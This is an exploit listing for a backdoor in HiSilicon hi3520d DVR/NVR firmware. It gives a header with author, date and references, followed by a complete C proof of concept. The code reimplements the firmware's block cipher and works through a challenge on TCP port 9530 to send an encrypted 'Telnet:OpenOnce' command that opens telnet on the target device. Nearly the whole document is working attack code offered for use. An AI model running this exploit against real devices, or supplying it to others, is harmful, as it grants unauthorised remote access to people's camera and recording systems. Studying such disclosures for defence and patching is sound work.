HiSilicon DVR/NVR hi3520d Firmware Backdoor Account

HiSilicon DVR/NVR with hi3520d firmware suffers from having a remote backdoor account vulnerability.


MD5 | 83987fdcf147367bba0e4695dff89833

# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account 
# Dork: N/A
# Date: 2020-02-03
# Exploit Author: Snawoot
# Vendor Homepage: http://www.hisilicon.com
# Product Link: http://www.hisilicon.com/en/Products
# Version: hi3520d
# Tested on: Linux
# CVE: N/A
# References: https://habr.com/en/post/486856/
# References: https://github.com/Snawoot/hisilicon-dvr-telnet
# References: https://github.com/tothi/pwn-hisilicon-dvr#summary

# POC:
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

typedef unsigned char byte;
typedef unsigned int uint;

byte state[2048] = {0};
byte datum[] = {
0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
};

void init_cipher_offset_vector(byte *dst,byte *src,int size)

{
int i;

i = 0;
while (i < size) {
dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
i = i + 1;
}
return;
}

void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)

{
int i;

i = 0;
while (i < (int)size) {
state[i] = src[(uint)offset_vector[i] - 1];
i = i + 1;
}
memcpy(dst,state,size);
return;
}

void cipher_memcpy_shuffle(void *dst,size_t size)

{
memcpy(state,dst,size);
memcpy(dst,(void *)(dst + size),0x1c - size);
memcpy((void *)(dst + (0x1c - size)),state,size);
return;
}

void init_cipher_state(void *dst,void *src)

{
byte current_byte;
int i;

init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);
apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);
i = 0;
do {
current_byte = (datum + 0x310)[i];
i = i + 1;
cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);
cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);
apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);
dst = (byte *)dst + 0x30;
} while (i != 0x10);
return;
}

void cipher_xor(byte *data,byte *key,int size)

{
int i;

i = 0;
while (i < size) {
data[i] = key[i] ^ data[i];
i = i + 1;
}
return;
}

void prepare_key(void *key,size_t key_size)

{
size_t __n;

memset(state + 0x1d0,0,0x10);
__n = key_size;
if (0xf < (int)key_size) {
__n = 0x10;
}
memcpy(state + 0x1d0,key,__n);
init_cipher_state(state + 0x1e0,state + 0x1d0);
if (8 < (int)key_size) {
init_cipher_state(state + 0x4e0,state + 0x1d8);
}
*(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size
return;
}

void cipher_shuffle(byte *dst,byte *src)

{
byte *caretPtr;
int iVar1;
byte *ptr;
int i;

apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);
cipher_xor(state + 0x100,src,0x30);
ptr = state + 0x100;
i = 0;
do {
iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;
caretPtr = dst + i;
i = i + 4;
init_cipher_offset_vector
(caretPtr,datum + 0x30 +
(uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +
iVar1 * 0x10,4);
ptr = ptr + 6;
} while (i != 0x20);
apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);
return;
}

void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)

{
uint i;
byte *backward_ov_ptr;
byte *forward_ov_ptr;
int iVar3;

init_cipher_offset_vector(state + 0x130,data,0x40);
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);
if (direction == 0) {
forward_ov_ptr = offset_vector + 0x300;
do {
memcpy(state + 0x170,state + 0x150,0x20);
cipher_shuffle(state + 0x150,offset_vector);
cipher_xor(state + 0x150,state + 0x130,0x20);
memcpy(state + 0x130, state + 0x170, 0x20);
offset_vector = offset_vector + 0x30;
} while (offset_vector != forward_ov_ptr);
}
else {
backward_ov_ptr = offset_vector + 0x2d0;
do {
memcpy(state + 0x170,state + 0x130,0x20);
cipher_shuffle(state + 0x130,backward_ov_ptr);
cipher_xor(state + 0x130,state + 0x150,0x20);
backward_ov_ptr -= 0x30;
memcpy(state + 0x150,state + 0x170,0x20);
} while (backward_ov_ptr != offset_vector + -0x30);
}
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);
memset(result,0,8);
i = 0;
do {
result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);
i = i + 1;
} while (i != 0x40);
return;
}

int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)

{
uint short_key_iter;
int curBlockNumber;
int blockCount;

if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))
&& ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_len);
blockCount = (int)(data_len + 7) >> 3;
short_key_iter = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)short_key_iter < blockCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
short_key_iter = short_key_iter + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (curBlockNumber < blockCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);
curBlockNumber = curBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}

int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)

{
uint uVar2;
int currentBlockNumber;
int blocksCount;

if (((result != (char *)0x0 && data != (char *)0x0) &&
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_size);
blocksCount = (int)(data_len + 7) >> 3;
uVar2 = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)uVar2 < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
uVar2 = uVar2 + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (currentBlockNumber < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
currentBlockNumber = currentBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}

void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)
{
unsigned char * pin = in;
const char * hex = "0123456789ABCDEF";
char * pout = out;
for(; pin < in+insz; pout +=3, pin++){
pout[0] = hex[(*pin>>4) & 0xF];
pout[1] = hex[ *pin & 0xF];
pout[2] = ':';
if (pout + 3 - out > outsz){
/* Better to truncate output string than overflow buffer */
/* it would be still better to either return a status */
/* or ensure the target buffer is large enough and it never happen */
break;
}
}
pout[-1] = 0;
}

char netbuf[4096];

#define PADDED(X) (((X + 7) / 8) * 8)
#define PORT 9530
#define BUFSIZE sizeof(netbuf)
#define CMD_FIRST "OpenTelnet:OpenOnce"
#define CHALLENGE_PROLOGUE "randNum:"
#define VERIFY_OK "verify:OK"
#define CMD_FINAL "CMD:"
#define FINAL_PAYLOAD "Telnet:OpenOnce"
#define OPEN_OK "Open:OK"

ssize_t send_str(int sockfd, char *str, size_t len) {
if (len > 0xFE) {
return -1;
}
char buf[len+1];
buf[0] = len + 1;
memcpy(buf + 1, str, len);
return send(sockfd, buf, len + 1, 0);
}

int main(int argc, char* argv[]) {
int sockfd, numbytes;
struct hostent *he;
struct sockaddr_in their_addr;

if (argc != 3) {
fprintf(stderr, "Usage: %s <host> <PSK>\n", argv[0]);
return 2;
}

if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
herror("gethostbyname");
return 1;
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
}

their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(PORT); /* short, network byte order */
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */

if (connect(sockfd, (struct sockaddr *)&their_addr, \
sizeof(struct sockaddr)) == -1) {
perror("connect");
return 1;
}
if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {
perror("send");
return 1;
}
printf("Sent %s command.\n", CMD_FIRST);
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {
fprintf(stderr, "No challenge received.\n");
return 3;
}

char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;
char challengeStr[strlen(seed) + strlen(argv[2]) + 1];
size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);
printf("challenge=%s\n", challengeStr);

char encryptedRandomSeed[PADDED(challengeLen)];
encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);
memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));
if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {
perror("send");
return 1;
}
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {
fprintf(stderr, "Verification failed.\n");
return 4;
}
char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);
memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));
if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {
perror("send");
return 1;
}
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {
fprintf(stderr, "Open failed.\n");
return 5;
}

return 0;
}

#

Related Posts